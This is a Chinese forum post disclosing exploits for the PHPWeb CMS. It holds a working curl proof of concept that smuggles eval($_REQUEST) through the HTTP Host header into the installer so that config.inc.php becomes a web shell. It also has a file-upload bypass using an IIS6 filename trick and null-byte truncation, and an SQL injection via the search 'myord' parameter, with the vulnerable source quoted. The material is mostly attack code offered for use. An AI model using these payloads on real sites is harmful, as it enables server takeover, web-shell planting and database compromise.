admin 发表于 2013-1-4 19:45:35

phpweb成品网站最新版(注入、上传、写shell)

注入:

之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码

鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
鸡肋2: 有一定安全常识的站长都会删掉 install 目录

虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响

分析:


$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤

                                          $filestr = fread(fopen($SysConfigFile, 'r'),30000);
                                          $filestr=str_replace(" ","",$filestr);
                                          $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
                                          $filestr=str_replace("DefaultDbName",$dbname,$filestr);
                                          $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
                                          $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
                                          $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
                                          $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
                                          $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);

                                          fwrite(fopen($ConFile,"w"),$filestr,30000);
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc:

?
1
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST);#"
shell地址: /config.inc.php
跟之前的 phpcms一样 需要远程数据库

——————————————————–
上传漏洞(需要进后台):
漏洞文件: /kedit/upload_cgi/upload.php
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用


<?php
    define("ROOTPATH", "../../");
    include(ROOTPATH."includes/admin.inc.php");
    NeedAuth(0);

    $dt=date("Ymd",time());
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
    }

    //文件保存目录路径
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
    echo $save_path;
    //文件保存目录URL
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';

    //定义允许上传的文件扩展名
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀

    //最大文件大小
    $max_size = 1000000;

    //更改目录权限
    @mkdir($save_path, 0777);

    //文件的全部路径
    $file_path = $save_path.$_POST['fileName'];   //保存文件名

    //文件URL
    $file_url = $save_url.$_POST['fileName'];
//有上传文件时
    if (empty($_FILES) === false) {

            //原文件名
            $file_name = $_FILES['fileData']['name'];
            //服务器上临时文件名
            $tmp_name = $_FILES['fileData']['tmp_name'];
            //文件大小
            $file_size = $_FILES['fileData']['size'];
            //检查目录
            if (@is_dir($save_path) === false) {
                  alert("上传目录不存在。");
            }
            //检查目录写权限
            if (@is_writable($save_path) === false) {
                  alert("上传目录没有写权限。");
            }
            //检查是否已上传
            if (@is_uploaded_file($tmp_name) === false) {
                  alert("临时文件可能不是上传文件。");
            }
            //检查文件大小
            if ($file_size > $max_size) {
                  alert("上传文件大小超过限制。");
            }
            //获得文件扩展名
            $temp_arr = explode(".", $_POST['fileName']);
            $file_ext = array_pop($temp_arr);
            $file_ext = trim($file_ext);
            $file_ext = strtolower($file_ext);

            //检查扩展名   
            if (in_array($file_ext, $ext_arr) === false) {   
                  alert("上传文件扩展名是不允许的扩展名。");
            }

            //移动文件   
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
            if (move_uploaded_file($tmp_name, $file_path) === false) {
                  alert("上传文件失败。");
            }

            @chmod($file_path,0666);

    ?>
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227

apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过

——————————————————
注入漏洞:
漏洞文件:search/module/search.php
/search/index.php?key=1&myord=1


<?php
   //       ... 省略 n 行...
   //第18行:
         $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
         $page=htmlspecialchars($_GET["page"]);
         $myord=htmlspecialchars($_GET["myord"]);

   //       ... 省略 n 行...
   $key,$myord 两个参数带入查询
   //第47行 $key:

   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");//虽然带入查询 但使用的 是regexp 不知如何绕过..

   //第197行 $myord
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入

   ?>
页: [1]
查看完整版本: phpweb成品网站最新版(注入、上传、写shell)